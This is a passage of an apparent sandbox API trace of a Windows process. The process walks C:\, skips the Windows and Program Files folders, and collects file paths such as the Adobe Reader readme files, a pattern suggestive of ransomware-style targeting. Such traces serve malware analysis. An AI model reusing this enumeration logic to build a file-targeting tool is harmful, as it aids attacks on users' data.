lpString1=0x5bec10, lpString2="c:\\bootmgr" | out: lpString1="c:\\bootmgr") returned="c:\\bootmgr" [0118.319] FindNextFileW (in: hFindFile=0x8256a0, lpFindFileData=0x34f5c4 | out: lpFindFileData=0x34f5c4) returned 1 [0118.319] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0118.319] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0118.319] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="Windows") returned -1 [0118.319] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="Program Files") returned -1 [0118.319] lstrlenW (lpString="c:\\") returned 3 [0118.319] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0118.319] lstrcatW (in: lpString1="c:\\", lpString2="BOOTSECT.BAK" | out: lpString1="c:\\BOOTSECT.BAK") returned="c:\\BOOTSECT.BAK" [0118.319] lstrlenW (lpString="c:\\BOOTSECT.BAK") returned 15 [0118.319] lstrcpyW (in: lpString1=0x5bec30, lpString2="c:\\BOOTSECT.BAK" | out: lpString1="c:\\BOOTSECT.BAK") returned="c:\\BOOTSECT.BAK" [0118.319] FindNextFileW (in: hFindFile=0x8256a0, lpFindFileData=0x34f5c4 | out: lpFindFileData=0x34f5c4) returned 1 [0118.319] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0118.319] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0118.319] lstrcmpW (lpString1="Documents and Settings", lpString2="Windows") returned -1 [0118.320] lstrcmpW (lpString1="Documents and Settings", lpString2="Program Files") returned -1 [0118.320] lstrlenW (lpString="c:\\") returned 3 [0118.320] lstrlenW (lpString="Documents and Settings") returned 22 [0118.320] lstrcatW (in: lpString1="c:\\", lpString2="Documents and Settings" | out: lpString1="c:\\Documents and Settings") returned="c:\\Documents and Settings" [0118.320] lstrcatW (in: lpString1="c:\\Documents and Settings", lpString2="\\" | out: lpString1="c:\\Documents and Settings\\") returned="c:\\Documents and Settings\\" [0118.320] lstrlenW (lpString="c:\\Documents and Settings\\") returned 26 [0118.320] lstrcatW (in: lpString1="c:\\Documents and Settings\\", lpString2="*" | out: lpString1="c:\\Documents and Settings\\*") returned="c:\\Documents and Settings\\*" [0118.320] FindFirstFileW (in: lpFileName="c:\\Documents and Settings\\*", lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 0xffffffff [0118.320] FindNextFileW (in: hFindFile=0x8256a0, lpFindFileData=0x34f5c4 | out: lpFindFileData=0x34f5c4) returned 1 [0118.320] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0118.320] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0118.320] lstrcmpW (lpString1="hiberfil.sys", lpString2="Windows") returned -1 [0118.320] lstrcmpW (lpString1="hiberfil.sys", lpString2="Program Files") returned -1 [0118.320] lstrlenW (lpString="c:\\") returned 3 [0118.320] lstrlenW (lpString="hiberfil.sys") returned 12 [0118.320] lstrcatW (in: lpString1="c:\\", lpString2="hiberfil.sys" | out: lpString1="c:\\hiberfil.sys") returned="c:\\hiberfil.sys" [0118.320] lstrlenW (lpString="c:\\hiberfil.sys") returned 15 [0118.320] lstrcpyW (in: lpString1=0x5bec58, lpString2="c:\\hiberfil.sys" | out: lpString1="c:\\hiberfil.sys") returned="c:\\hiberfil.sys" [0118.320] FindNextFileW (in: hFindFile=0x8256a0, lpFindFileData=0x34f5c4 | out: lpFindFileData=0x34f5c4) returned 1 [0118.320] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0118.320] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0118.320] lstrcmpW (lpString1="pagefile.sys", lpString2="Windows") returned -1 [0118.320] lstrcmpW (lpString1="pagefile.sys", lpString2="Program Files") returned -1 [0118.320] lstrlenW (lpString="c:\\") returned 3 [0118.320] lstrlenW (lpString="pagefile.sys") returned 12 [0118.320] lstrcatW (in: lpString1="c:\\", lpString2="pagefile.sys" | out: lpString1="c:\\pagefile.sys") returned="c:\\pagefile.sys" [0118.320] lstrlenW (lpString="c:\\pagefile.sys") returned 15 [0118.320] lstrcpyW (in: lpString1=0x5bec80, lpString2="c:\\pagefile.sys" | out: lpString1="c:\\pagefile.sys") returned="c:\\pagefile.sys" [0118.320] FindNextFileW (in: hFindFile=0x8256a0, lpFindFileData=0x34f5c4 | out: lpFindFileData=0x34f5c4) returned 1 [0118.320] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0118.320] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0118.320] lstrcmpW (lpString1="PerfLogs", lpString2="Windows") returned -1 [0118.320] lstrcmpW (lpString1="PerfLogs", lpString2="Program Files") returned -1 [0118.320] lstrlenW (lpString="c:\\") returned 3 [0118.320] lstrlenW (lpString="PerfLogs") returned 8 [0118.320] lstrcatW (in: lpString1="c:\\", lpString2="PerfLogs" | out: lpString1="c:\\PerfLogs") returned="c:\\PerfLogs" [0118.321] lstrcatW (in: lpString1="c:\\PerfLogs", lpString2="\\" | out: lpString1="c:\\PerfLogs\\") returned="c:\\PerfLogs\\" [0118.321] lstrlenW (lpString="c:\\PerfLogs\\") returned 12 [0118.321] lstrcatW (in: lpString1="c:\\PerfLogs\\", lpString2="*" | out: lpString1="c:\\PerfLogs\\*") returned="c:\\PerfLogs\\*" [0118.321] FindFirstFileW (in: lpFileName="c:\\PerfLogs\\*", lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 0xffffffff [0118.321] FindNextFileW (in: hFindFile=0x8256a0, lpFindFileData=0x34f5c4 | out: lpFindFileData=0x34f5c4) returned 1 [0118.321] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0118.321] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0118.321] lstrcmpW (lpString1="Program Files", lpString2="Windows") returned -1 [0118.321] lstrcmpW (lpString1="Program Files", lpString2="Program Files") returned 0 [0118.321] FindNextFileW (in: hFindFile=0x8256a0, lpFindFileData=0x34f5c4 | out: lpFindFileData=0x34f5c4) returned 1 [0118.321] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0118.321] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0118.321] lstrcmpW (lpString1="Program Files (x86)", lpString2="Windows") returned -1 [0118.321] lstrcmpW (lpString1="Program Files (x86)", lpString2="Program Files") returned 1 [0118.321] lstrlenW (lpString="c:\\") returned 3 [0118.321] lstrlenW (lpString="Program Files (x86)") returned 19 [0118.321] lstrcatW (in: lpString1="c:\\", lpString2="Program Files (x86)" | out: lpString1="c:\\Program Files (x86)") returned="c:\\Program Files (x86)" [0118.321] lstrcatW (in: lpString1="c:\\Program Files (x86)", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\") returned="c:\\Program Files (x86)\\" [0118.321] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0118.321] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\*") returned="c:\\Program Files (x86)\\*" [0118.321] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\*", lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 0x8256e0 [0118.321] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.321] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.321] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.321] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.321] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.321] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0118.321] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0118.321] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0118.321] lstrlenW (lpString="Adobe") returned 5 [0118.321] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Adobe" | out: lpString1="c:\\Program Files (x86)\\Adobe") returned="c:\\Program Files (x86)\\Adobe" [0118.321] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Adobe\\") returned="c:\\Program Files (x86)\\Adobe\\" [0118.321] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\") returned 29 [0118.321] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Adobe\\*") returned="c:\\Program Files (x86)\\Adobe\\*" [0118.321] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.322] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.322] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.322] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.322] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.322] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.322] lstrcmpW (lpString1="Reader 10.0", lpString2=".") returned 1 [0118.322] lstrcmpW (lpString1="Reader 10.0", lpString2="..") returned 1 [0118.322] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\") returned 29 [0118.322] lstrlenW (lpString="Reader 10.0") returned 11 [0118.322] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\", lpString2="Reader 10.0" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0" [0118.322] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0118.322] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.322] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*" [0118.322] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0118.322] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.322] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.369] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.369] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.369] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.369] lstrcmpW (lpString1="Benioku.htm", lpString2=".") returned 1 [0118.369] lstrcmpW (lpString1="Benioku.htm", lpString2="..") returned 1 [0118.369] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.369] lstrlenW (lpString="Benioku.htm") returned 11 [0118.369] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Benioku.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" [0118.370] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned 52 [0118.370] lstrcpyW (in: lpString1=0x5beca8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" [0118.370] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.370] lstrcmpW (lpString1="Berime.htm", lpString2=".") returned 1 [0118.370] lstrcmpW (lpString1="Berime.htm", lpString2="..") returned 1 [0118.370] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.370] lstrlenW (lpString="Berime.htm") returned 10 [0118.370] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Berime.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" [0118.370] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned 51 [0118.370] lstrcpyW (in: lpString1=0x5bed20, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" [0118.370] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.370] lstrcmpW (lpString1="Esl", lpString2=".") returned 1 [0118.370] lstrcmpW (lpString1="Esl", lpString2="..") returned 1 [0118.370] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.370] lstrlenW (lpString="Esl") returned 3 [0118.370] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Esl" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" [0118.370] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.370] lstrcmpW (lpString1="IrakHau.htm", lpString2=".") returned 1 [0118.370] lstrcmpW (lpString1="IrakHau.htm", lpString2="..") returned 1 [0118.370] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.370] lstrlenW (lpString="IrakHau.htm") returned 11 [0118.370] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="IrakHau.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" [0118.370] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned 52 [0118.370] lstrcpyW (in: lpString1=0x5bed90, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" [0118.370] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.370] lstrcmpW (lpString1="Leame.htm", lpString2=".") returned 1 [0118.370] lstrcmpW (lpString1="Leame.htm", lpString2="..") returned 1 [0118.370] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.370] lstrlenW (lpString="Leame.htm") returned 9 [0118.370] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Leame.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" [0118.370] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned 50 [0118.370] lstrcpyW (in: lpString1=0x5bee08, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" [0118.370] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.370] lstrcmpW (lpString1="LeesMij.htm", lpString2=".") returned 1 [0118.370] lstrcmpW (lpString1="LeesMij.htm", lpString2="..") returned 1 [0118.370] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.370] lstrlenW (lpString="LeesMij.htm") returned 11 [0118.370] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LeesMij.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" [0118.370] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned 52 [0118.370] lstrcpyW (in: lpString1=0x5bee78, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" [0118.370] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.370] lstrcmpW (lpString1="Leggimi.htm", lpString2=".") returned 1 [0118.370] lstrcmpW (lpString1="Leggimi.htm", lpString2="..") returned 1 [0118.370] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.370] lstrlenW (lpString="Leggimi.htm") returned 11 [0118.370] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Leggimi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" [0118.370] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned 52 [0118.370] lstrcpyW (in: lpString1=0x5beef0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" [0118.370] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.370] lstrcmpW (lpString1="LeiaMe.htm", lpString2=".") returned 1 [0118.371] lstrcmpW (lpString1="LeiaMe.htm", lpString2="..") returned 1 [0118.371] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.371] lstrlenW (lpString="LeiaMe.htm") returned 10 [0118.371] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LeiaMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" [0118.371] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned 51 [0118.371] lstrcpyW (in: lpString1=0x5bef68, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" [0118.371] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.371] lstrcmpW (lpString1="Liesmich.htm", lpString2=".") returned 1 [0118.371] lstrcmpW (lpString1="Liesmich.htm", lpString2="..") returned 1 [0118.371] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.371] lstrlenW (lpString="Liesmich.htm") returned 12 [0118.371] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Liesmich.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" [0118.371] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned 53 [0118.371] lstrcpyW (in: lpString1=0x5befd8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" [0118.371] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.371] lstrcmpW (lpString1="Lisezmoi.htm", lpString2=".") returned 1 [0118.371] lstrcmpW (lpString1="Lisezmoi.htm", lpString2="..") returned 1 [0118.371] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.371] lstrlenW (lpString="Lisezmoi.htm") returned 12 [0118.371] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Lisezmoi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" [0118.371] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned 53 [0118.371] lstrcpyW (in: lpString1=0x5bf050, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" [0118.371] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.371] lstrcmpW (lpString1="Llegiu-me.htm", lpString2=".") returned 1 [0118.371] lstrcmpW (lpString1="Llegiu-me.htm", lpString2="..") returned 1 [0118.371] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.371] lstrlenW (lpString="Llegiu-me.htm") returned 13 [0118.371] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Llegiu-me.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" [0118.371] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned 54 [0118.371] lstrcpyW (in: lpString1=0x5bf0c8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Llegiu-me.htm" [0118.371] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.371] lstrcmpW (lpString1="LueMinut.htm", lpString2=".") returned 1 [0118.371] lstrcmpW (lpString1="LueMinut.htm", lpString2="..") returned 1 [0118.371] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.371] lstrlenW (lpString="LueMinut.htm") returned 12 [0118.371] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="LueMinut.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" [0118.371] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned 53 [0118.371] lstrcpyW (in: lpString1=0x5bf140, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" [0118.371] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.371] lstrcmpW (lpString1="Reader", lpString2=".") returned 1 [0118.371] lstrcmpW (lpString1="Reader", lpString2="..") returned 1 [0118.371] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.371] lstrlenW (lpString="Reader") returned 6 [0118.371] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Reader" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0118.371] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.371] lstrcmpW (lpString1="ReadMe.htm", lpString2=".") returned 1 [0118.371] lstrcmpW (lpString1="ReadMe.htm", lpString2="..") returned 1 [0118.371] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.371] lstrlenW (lpString="ReadMe.htm") returned 10 [0118.371] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" [0118.372] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned 51 [0118.372] lstrcpyW (in: lpString1=0x5bf1b8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" [0118.372] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.372] lstrcmpW (lpString1="ReadMeCS.htm", lpString2=".") returned 1 [0118.372] lstrcmpW (lpString1="ReadMeCS.htm", lpString2="..") returned 1 [0118.372] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.372] lstrlenW (lpString="ReadMeCS.htm") returned 12 [0118.372] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" [0118.372] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned 53 [0118.372] lstrcpyW (in: lpString1=0x5bf228, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" [0118.372] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.372] lstrcmpW (lpString1="ReadMeCT.htm", lpString2=".") returned 1 [0118.372] lstrcmpW (lpString1="ReadMeCT.htm", lpString2="..") returned 1 [0118.372] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.372] lstrlenW (lpString="ReadMeCT.htm") returned 12 [0118.372] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCT.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" [0118.372] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned 53 [0118.372] lstrcpyW (in: lpString1=0x5bf2a0, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCT.htm" [0118.372] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0118.372] lstrcmpW (lpString1="ReadMeCZE.htm", lpString2=".") returned 1 [0118.372] lstrcmpW (lpString1="ReadMeCZE.htm", lpString2="..") returned 1 [0118.372] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0118.372] lstrlenW (lpString="ReadMeCZE.htm") returned 13 [0118.372] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeCZE.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCZE.htm") returned="c:\\Program Files 